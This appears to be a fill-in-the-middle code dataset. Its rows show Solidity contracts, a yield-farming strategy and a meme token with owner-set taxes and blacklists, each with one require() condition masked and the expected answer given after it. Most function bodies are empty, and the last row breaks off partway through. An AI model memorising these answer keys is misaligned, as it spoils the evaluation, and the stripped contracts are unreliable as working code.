function balanceOfPool() public view returns (uint256) {
}
function setPendingRewardsFunctionName(string calldata _pendingRewardsFunctionName) external onlyManager {
}
// returns rewards unharvested
function rewardsAvailable() public view returns (uint256) {
}
// native reward amount for calling harvest
function callReward() public view returns (uint256) {
}
function setHarvestOnDeposit(bool _harvestOnDeposit) external onlyManager {
}
function setShouldGasThrottle(bool _shouldGasThrottle) external onlyManager {
}
// called as part of strat migration. Sends all the available funds back to the vault.
function retireStrat() external {
}
// pauses deposits and withdraws all funds from third party systems.
function panic() public onlyManager {
}
function pause() public onlyManager {
}
function unpause() external onlyManager {
}
function _giveAllowances() internal {
}
function _removeAllowances() internal {
}
function outputToNative() external view returns (address[] memory) {
}
function outputToLp0() external view returns (address[] memory) {
}
function outputToLp1() external view returns (address[] memory) {
}
}
| _outputToLp0Route[0]==output,"outputToLp0Route[0] != output" | 84,608 | _outputToLp0Route[0]==output |
"outputToLp0Route[last] != lpToken0" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin-4/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin-4/contracts/token/ERC20/utils/SafeERC20.sol";
import "../../interfaces/common/IUniswapRouterETH.sol";
import "../../interfaces/common/IUniswapV2Pair.sol";
import "../../interfaces/common/IMasterChef.sol";
import "../Common/StratFeeManagerInitializable.sol";
import "../../utils/StringUtils.sol";
import "../../utils/GasFeeThrottler.sol";
contract StrategyCommonChefLPProxy is StratFeeManagerInitializable, GasFeeThrottler {
using SafeERC20 for IERC20;
// Tokens used
address public native;
address public output;
address public want;
address public lpToken0;
address public lpToken1;
// Third party contracts
address public chef;
uint256 public poolId;
bool public harvestOnDeposit;
uint256 public lastHarvest;
string public pendingRewardsFunctionName;
// Routes
address[] public outputToNativeRoute;
address[] public outputToLp0Route;
address[] public outputToLp1Route;
event StratHarvest(address indexed harvester, uint256 wantHarvested, uint256 tvl);
event Deposit(uint256 tvl);
event Withdraw(uint256 tvl);
event ChargedFees(uint256 callFees, uint256 beefyFees, uint256 strategistFees);
function initialize(
address _want,
uint256 _poolId,
address _chef,
CommonAddresses calldata _commonAddresses,
address[] memory _outputToNativeRoute,
address[] memory _outputToLp0Route,
address[] memory _outputToLp1Route
) public initializer {
__StratFeeManager_init(_commonAddresses);
want = _want;
poolId = _poolId;
chef = _chef;
output = _outputToNativeRoute[0];
native = _outputToNativeRoute[_outputToNativeRoute.length - 1];
outputToNativeRoute = _outputToNativeRoute;
// setup lp routing
lpToken0 = IUniswapV2Pair(want).token0();
require(_outputToLp0Route[0] == output, "outputToLp0Route[0] != output");
require(<FILL_ME>)
outputToLp0Route = _outputToLp0Route;
lpToken1 = IUniswapV2Pair(want).token1();
require(_outputToLp1Route[0] == output, "outputToLp1Route[0] != output");
require(_outputToLp1Route[_outputToLp1Route.length - 1] == lpToken1, "outputToLp1Route[last] != lpToken1");
outputToLp1Route = _outputToLp1Route;
_giveAllowances();
}
// puts the funds to work
function deposit() public whenNotPaused {
}
function withdraw(uint256 _amount) external {
}
function beforeDeposit() external virtual override {
}
function harvest() external gasThrottle virtual {
}
function harvest(address callFeeRecipient) external gasThrottle virtual {
}
function managerHarvest() external onlyManager {
}
// compounds earnings and charges performance fee
function _harvest(address callFeeRecipient) internal whenNotPaused {
}
// performance fees
function chargeFees(address callFeeRecipient) internal {
}
// Adds liquidity to AMM and gets more LP tokens.
function addLiquidity() internal {
}
// calculate the total underlaying 'want' held by the strat.
function balanceOf() public view returns (uint256) {
}
// it calculates how much 'want' this contract holds.
function balanceOfWant() public view returns (uint256) {
}
// it calculates how much 'want' the strategy has working in the farm.
function balanceOfPool() public view returns (uint256) {
}
function setPendingRewardsFunctionName(string calldata _pendingRewardsFunctionName) external onlyManager {
}
// returns rewards unharvested
function rewardsAvailable() public view returns (uint256) {
}
// native reward amount for calling harvest
function callReward() public view returns (uint256) {
}
function setHarvestOnDeposit(bool _harvestOnDeposit) external onlyManager {
}
function setShouldGasThrottle(bool _shouldGasThrottle) external onlyManager {
}
// called as part of strat migration. Sends all the available funds back to the vault.
function retireStrat() external {
}
// pauses deposits and withdraws all funds from third party systems.
function panic() public onlyManager {
}
function pause() public onlyManager {
}
function unpause() external onlyManager {
}
function _giveAllowances() internal {
}
function _removeAllowances() internal {
}
function outputToNative() external view returns (address[] memory) {
}
function outputToLp0() external view returns (address[] memory) {
}
function outputToLp1() external view returns (address[] memory) {
}
}
| _outputToLp0Route[_outputToLp0Route.length-1]==lpToken0,"outputToLp0Route[last] != lpToken0" | 84,608 | _outputToLp0Route[_outputToLp0Route.length-1]==lpToken0 |
"outputToLp1Route[0] != output" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin-4/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin-4/contracts/token/ERC20/utils/SafeERC20.sol";
import "../../interfaces/common/IUniswapRouterETH.sol";
import "../../interfaces/common/IUniswapV2Pair.sol";
import "../../interfaces/common/IMasterChef.sol";
import "../Common/StratFeeManagerInitializable.sol";
import "../../utils/StringUtils.sol";
import "../../utils/GasFeeThrottler.sol";
contract StrategyCommonChefLPProxy is StratFeeManagerInitializable, GasFeeThrottler {
using SafeERC20 for IERC20;
// Tokens used
address public native;
address public output;
address public want;
address public lpToken0;
address public lpToken1;
// Third party contracts
address public chef;
uint256 public poolId;
bool public harvestOnDeposit;
uint256 public lastHarvest;
string public pendingRewardsFunctionName;
// Routes
address[] public outputToNativeRoute;
address[] public outputToLp0Route;
address[] public outputToLp1Route;
event StratHarvest(address indexed harvester, uint256 wantHarvested, uint256 tvl);
event Deposit(uint256 tvl);
event Withdraw(uint256 tvl);
event ChargedFees(uint256 callFees, uint256 beefyFees, uint256 strategistFees);
function initialize(
address _want,
uint256 _poolId,
address _chef,
CommonAddresses calldata _commonAddresses,
address[] memory _outputToNativeRoute,
address[] memory _outputToLp0Route,
address[] memory _outputToLp1Route
) public initializer {
__StratFeeManager_init(_commonAddresses);
want = _want;
poolId = _poolId;
chef = _chef;
output = _outputToNativeRoute[0];
native = _outputToNativeRoute[_outputToNativeRoute.length - 1];
outputToNativeRoute = _outputToNativeRoute;
// setup lp routing
lpToken0 = IUniswapV2Pair(want).token0();
require(_outputToLp0Route[0] == output, "outputToLp0Route[0] != output");
require(_outputToLp0Route[_outputToLp0Route.length - 1] == lpToken0, "outputToLp0Route[last] != lpToken0");
outputToLp0Route = _outputToLp0Route;
lpToken1 = IUniswapV2Pair(want).token1();
require(<FILL_ME>)
require(_outputToLp1Route[_outputToLp1Route.length - 1] == lpToken1, "outputToLp1Route[last] != lpToken1");
outputToLp1Route = _outputToLp1Route;
_giveAllowances();
}
// puts the funds to work
function deposit() public whenNotPaused {
}
function withdraw(uint256 _amount) external {
}
function beforeDeposit() external virtual override {
}
function harvest() external gasThrottle virtual {
}
function harvest(address callFeeRecipient) external gasThrottle virtual {
}
function managerHarvest() external onlyManager {
}
// compounds earnings and charges performance fee
function _harvest(address callFeeRecipient) internal whenNotPaused {
}
// performance fees
function chargeFees(address callFeeRecipient) internal {
}
// Adds liquidity to AMM and gets more LP tokens.
function addLiquidity() internal {
}
// calculate the total underlaying 'want' held by the strat.
function balanceOf() public view returns (uint256) {
}
// it calculates how much 'want' this contract holds.
function balanceOfWant() public view returns (uint256) {
}
// it calculates how much 'want' the strategy has working in the farm.
function balanceOfPool() public view returns (uint256) {
}
function setPendingRewardsFunctionName(string calldata _pendingRewardsFunctionName) external onlyManager {
}
// returns rewards unharvested
function rewardsAvailable() public view returns (uint256) {
}
// native reward amount for calling harvest
function callReward() public view returns (uint256) {
}
function setHarvestOnDeposit(bool _harvestOnDeposit) external onlyManager {
}
function setShouldGasThrottle(bool _shouldGasThrottle) external onlyManager {
}
// called as part of strat migration. Sends all the available funds back to the vault.
function retireStrat() external {
}
// pauses deposits and withdraws all funds from third party systems.
function panic() public onlyManager {
}
function pause() public onlyManager {
}
function unpause() external onlyManager {
}
function _giveAllowances() internal {
}
function _removeAllowances() internal {
}
function outputToNative() external view returns (address[] memory) {
}
function outputToLp0() external view returns (address[] memory) {
}
function outputToLp1() external view returns (address[] memory) {
}
}
| _outputToLp1Route[0]==output,"outputToLp1Route[0] != output" | 84,608 | _outputToLp1Route[0]==output |
"outputToLp1Route[last] != lpToken1" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin-4/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin-4/contracts/token/ERC20/utils/SafeERC20.sol";
import "../../interfaces/common/IUniswapRouterETH.sol";
import "../../interfaces/common/IUniswapV2Pair.sol";
import "../../interfaces/common/IMasterChef.sol";
import "../Common/StratFeeManagerInitializable.sol";
import "../../utils/StringUtils.sol";
import "../../utils/GasFeeThrottler.sol";
contract StrategyCommonChefLPProxy is StratFeeManagerInitializable, GasFeeThrottler {
using SafeERC20 for IERC20;
// Tokens used
address public native;
address public output;
address public want;
address public lpToken0;
address public lpToken1;
// Third party contracts
address public chef;
uint256 public poolId;
bool public harvestOnDeposit;
uint256 public lastHarvest;
string public pendingRewardsFunctionName;
// Routes
address[] public outputToNativeRoute;
address[] public outputToLp0Route;
address[] public outputToLp1Route;
event StratHarvest(address indexed harvester, uint256 wantHarvested, uint256 tvl);
event Deposit(uint256 tvl);
event Withdraw(uint256 tvl);
event ChargedFees(uint256 callFees, uint256 beefyFees, uint256 strategistFees);
function initialize(
address _want,
uint256 _poolId,
address _chef,
CommonAddresses calldata _commonAddresses,
address[] memory _outputToNativeRoute,
address[] memory _outputToLp0Route,
address[] memory _outputToLp1Route
) public initializer {
__StratFeeManager_init(_commonAddresses);
want = _want;
poolId = _poolId;
chef = _chef;
output = _outputToNativeRoute[0];
native = _outputToNativeRoute[_outputToNativeRoute.length - 1];
outputToNativeRoute = _outputToNativeRoute;
// setup lp routing
lpToken0 = IUniswapV2Pair(want).token0();
require(_outputToLp0Route[0] == output, "outputToLp0Route[0] != output");
require(_outputToLp0Route[_outputToLp0Route.length - 1] == lpToken0, "outputToLp0Route[last] != lpToken0");
outputToLp0Route = _outputToLp0Route;
lpToken1 = IUniswapV2Pair(want).token1();
require(_outputToLp1Route[0] == output, "outputToLp1Route[0] != output");
require(<FILL_ME>)
outputToLp1Route = _outputToLp1Route;
_giveAllowances();
}
// puts the funds to work
function deposit() public whenNotPaused {
}
function withdraw(uint256 _amount) external {
}
function beforeDeposit() external virtual override {
}
function harvest() external gasThrottle virtual {
}
function harvest(address callFeeRecipient) external gasThrottle virtual {
}
function managerHarvest() external onlyManager {
}
// compounds earnings and charges performance fee
function _harvest(address callFeeRecipient) internal whenNotPaused {
}
// performance fees
function chargeFees(address callFeeRecipient) internal {
}
// Adds liquidity to AMM and gets more LP tokens.
function addLiquidity() internal {
}
// calculate the total underlaying 'want' held by the strat.
function balanceOf() public view returns (uint256) {
}
// it calculates how much 'want' this contract holds.
function balanceOfWant() public view returns (uint256) {
}
// it calculates how much 'want' the strategy has working in the farm.
function balanceOfPool() public view returns (uint256) {
}
function setPendingRewardsFunctionName(string calldata _pendingRewardsFunctionName) external onlyManager {
}
// returns rewards unharvested
function rewardsAvailable() public view returns (uint256) {
}
// native reward amount for calling harvest
function callReward() public view returns (uint256) {
}
function setHarvestOnDeposit(bool _harvestOnDeposit) external onlyManager {
}
function setShouldGasThrottle(bool _shouldGasThrottle) external onlyManager {
}
// called as part of strat migration. Sends all the available funds back to the vault.
function retireStrat() external {
}
// pauses deposits and withdraws all funds from third party systems.
function panic() public onlyManager {
}
function pause() public onlyManager {
}
function unpause() external onlyManager {
}
function _giveAllowances() internal {
}
function _removeAllowances() internal {
}
function outputToNative() external view returns (address[] memory) {
}
function outputToLp0() external view returns (address[] memory) {
}
function outputToLp1() external view returns (address[] memory) {
}
}
| _outputToLp1Route[_outputToLp1Route.length-1]==lpToken1,"outputToLp1Route[last] != lpToken1" | 84,608 | _outputToLp1Route[_outputToLp1Route.length-1]==lpToken1 |
"Pair already added to list." | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function sync() external;
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to, uint deadline
) external payable returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface Initializer {
function setLaunch(address _initialLpPair, uint32 _liqAddBlock, uint64 _liqAddStamp, uint8 dec) external;
function getConfig() external returns (address, address);
function getInits(uint256 amount) external returns (uint256, uint256);
function setLpPair(address pair, bool enabled) external;
function checkUser(address from, address to, uint256 amt) external returns (bool);
function setProtections(bool _as, bool _ab) external;
function removeSniper(address account) external;
function removeBlacklisted(address account) external;
function isBlacklisted(address account) external view returns (bool);
function setBlacklistEnabled(address account, bool enabled) external;
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external;
}
contract KingOfAllPepes is IERC20 {
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _liquidityHolders;
mapping (address => bool) private _isExcludedFromProtection;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromLimits;
uint256 constant private startingSupply = 420_000_000_000;
string constant private _name = "King Of All Pepes";
string constant private _symbol = "$KOAP";
uint8 constant private _decimals = 18;
uint256 constant private _tTotal = startingSupply * 10**_decimals;
struct Fees {
uint16 buyFee;
uint16 sellFee;
uint16 transferFee;
}
Fees public _taxRates = Fees({
buyFee: 100,
sellFee: 100,
transferFee: 0
});
uint256 constant public maxBuyTaxes = 1000;
uint256 constant public maxSellTaxes = 2000;
uint256 constant public maxTransferTaxes = 1000;
uint256 constant masterTaxDivisor = 10000;
bool public taxesAreLocked;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
address payable public marketingWallet = payable(0xCeE6591681A0b801Ff45F78E06f20931dDB69E22);
bool inSwap;
bool public contractSwapEnabled = false;
uint256 public swapThreshold;
uint256 public swapAmount;
bool public piContractSwapsEnabled;
uint256 public piSwapPercent = 10;
uint256 private _maxTxAmount = (_tTotal * 1) / 100;
uint256 private _maxWalletSize = (_tTotal * 1) / 100;
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
Initializer initializer;
uint256 public launchStamp;
event ContractSwapEnabledUpdated(bool enabled);
event AutoLiquify(uint256 amountCurrency, uint256 amountTokens);
modifier inSwapFlag {
}
constructor () payable {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and renouncements.
// This allows for removal of ownership privileges from the owner once renounced or transferred.
address private _owner;
modifier onlyOwner() { }
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
receive() external payable {}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function approveContractContingency() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
if (!enabled) {
lpPairs[pair] = false;
initializer.setLpPair(pair, false);
} else {
if (timeSinceLastPair != 0) {
require(block.timestamp - timeSinceLastPair > 3 days, "3 Day cooldown.");
}
require(<FILL_ME>)
lpPairs[pair] = true;
timeSinceLastPair = block.timestamp;
initializer.setLpPair(pair, true);
}
}
function setInitializer(address init) public onlyOwner {
}
function isExcludedFromLimits(address account) external view returns (bool) {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function isExcludedFromFees(address account) external view returns(bool) {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function isExcludedFromProtection(address account) external view returns (bool) {
}
function setExcludedFromProtection(address account, bool enabled) external onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
//================================================ BLACKLIST
function setBlacklistEnabled(address account, bool enabled) external onlyOwner {
}
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner {
}
function isBlacklisted(address account) external view returns (bool) {
}
function removeBlacklisted(address account) external onlyOwner {
}
//================================================ BLACKLIST
function removeSniper(address account) external onlyOwner {
}
function setProtectionSettings(bool _antiSnipe, bool _antiBlock) external onlyOwner {
}
function lockTaxes() external onlyOwner {
}
function setTaxes(uint16 buyFee, uint16 sellFee, uint16 transferFee) external onlyOwner {
}
function setWallets(address payable marketing) external onlyOwner {
}
function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getMaxTX() external view returns (uint256) {
}
function getMaxWallet() external view returns (uint256) {
}
function getTokenAmountAtPriceImpact(uint256 priceImpactInHundreds) external view returns (uint256) {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setPriceImpactSwapAmount(uint256 priceImpactSwapPercent) external onlyOwner {
}
function setContractSwapEnabled(bool swapEnabled, bool priceImpactSwapEnabled) external onlyOwner {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function contractSwap(uint256 contractTokenBalance) internal inSwapFlag {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function enableTrading() public onlyOwner {
}
function sweepContingency() external onlyOwner {
}
function sweepExternalTokens(address token) external onlyOwner {
}
function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function finalizeTransfer(address from, address to, uint256 amount, bool buy, bool sell, bool other) internal returns (bool) {
}
function takeTaxes(address from, uint256 amount, bool buy, bool sell) internal returns (uint256) {
}
}
| !lpPairs[pair],"Pair already added to list." | 84,632 | !lpPairs[pair] |
"Taxes are locked." | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function sync() external;
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to, uint deadline
) external payable returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface Initializer {
function setLaunch(address _initialLpPair, uint32 _liqAddBlock, uint64 _liqAddStamp, uint8 dec) external;
function getConfig() external returns (address, address);
function getInits(uint256 amount) external returns (uint256, uint256);
function setLpPair(address pair, bool enabled) external;
function checkUser(address from, address to, uint256 amt) external returns (bool);
function setProtections(bool _as, bool _ab) external;
function removeSniper(address account) external;
function removeBlacklisted(address account) external;
function isBlacklisted(address account) external view returns (bool);
function setBlacklistEnabled(address account, bool enabled) external;
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external;
}
contract KingOfAllPepes is IERC20 {
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _liquidityHolders;
mapping (address => bool) private _isExcludedFromProtection;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromLimits;
uint256 constant private startingSupply = 420_000_000_000;
string constant private _name = "King Of All Pepes";
string constant private _symbol = "$KOAP";
uint8 constant private _decimals = 18;
uint256 constant private _tTotal = startingSupply * 10**_decimals;
struct Fees {
uint16 buyFee;
uint16 sellFee;
uint16 transferFee;
}
Fees public _taxRates = Fees({
buyFee: 100,
sellFee: 100,
transferFee: 0
});
uint256 constant public maxBuyTaxes = 1000;
uint256 constant public maxSellTaxes = 2000;
uint256 constant public maxTransferTaxes = 1000;
uint256 constant masterTaxDivisor = 10000;
bool public taxesAreLocked;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
address payable public marketingWallet = payable(0xCeE6591681A0b801Ff45F78E06f20931dDB69E22);
bool inSwap;
bool public contractSwapEnabled = false;
uint256 public swapThreshold;
uint256 public swapAmount;
bool public piContractSwapsEnabled;
uint256 public piSwapPercent = 10;
uint256 private _maxTxAmount = (_tTotal * 1) / 100;
uint256 private _maxWalletSize = (_tTotal * 1) / 100;
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
Initializer initializer;
uint256 public launchStamp;
event ContractSwapEnabledUpdated(bool enabled);
event AutoLiquify(uint256 amountCurrency, uint256 amountTokens);
modifier inSwapFlag {
}
constructor () payable {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and renouncements.
// This allows for removal of ownership privileges from the owner once renounced or transferred.
address private _owner;
modifier onlyOwner() { }
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
receive() external payable {}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function approveContractContingency() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function setInitializer(address init) public onlyOwner {
}
function isExcludedFromLimits(address account) external view returns (bool) {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function isExcludedFromFees(address account) external view returns(bool) {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function isExcludedFromProtection(address account) external view returns (bool) {
}
function setExcludedFromProtection(address account, bool enabled) external onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
//================================================ BLACKLIST
function setBlacklistEnabled(address account, bool enabled) external onlyOwner {
}
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner {
}
function isBlacklisted(address account) external view returns (bool) {
}
function removeBlacklisted(address account) external onlyOwner {
}
//================================================ BLACKLIST
function removeSniper(address account) external onlyOwner {
}
function setProtectionSettings(bool _antiSnipe, bool _antiBlock) external onlyOwner {
}
function lockTaxes() external onlyOwner {
}
function setTaxes(uint16 buyFee, uint16 sellFee, uint16 transferFee) external onlyOwner {
require(<FILL_ME>)
require(buyFee <= maxBuyTaxes
&& sellFee <= maxSellTaxes
&& transferFee <= maxTransferTaxes,
"Cannot exceed maximums.");
_taxRates.buyFee = buyFee;
_taxRates.sellFee = sellFee;
_taxRates.transferFee = transferFee;
}
function setWallets(address payable marketing) external onlyOwner {
}
function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getMaxTX() external view returns (uint256) {
}
function getMaxWallet() external view returns (uint256) {
}
function getTokenAmountAtPriceImpact(uint256 priceImpactInHundreds) external view returns (uint256) {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setPriceImpactSwapAmount(uint256 priceImpactSwapPercent) external onlyOwner {
}
function setContractSwapEnabled(bool swapEnabled, bool priceImpactSwapEnabled) external onlyOwner {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function contractSwap(uint256 contractTokenBalance) internal inSwapFlag {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function enableTrading() public onlyOwner {
}
function sweepContingency() external onlyOwner {
}
function sweepExternalTokens(address token) external onlyOwner {
}
function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function finalizeTransfer(address from, address to, uint256 amount, bool buy, bool sell, bool other) internal returns (bool) {
}
function takeTaxes(address from, uint256 amount, bool buy, bool sell) internal returns (uint256) {
}
}
| !taxesAreLocked,"Taxes are locked." | 84,632 | !taxesAreLocked |
"Max Transaction amt must be above 0.5% of total supply." | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function sync() external;
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
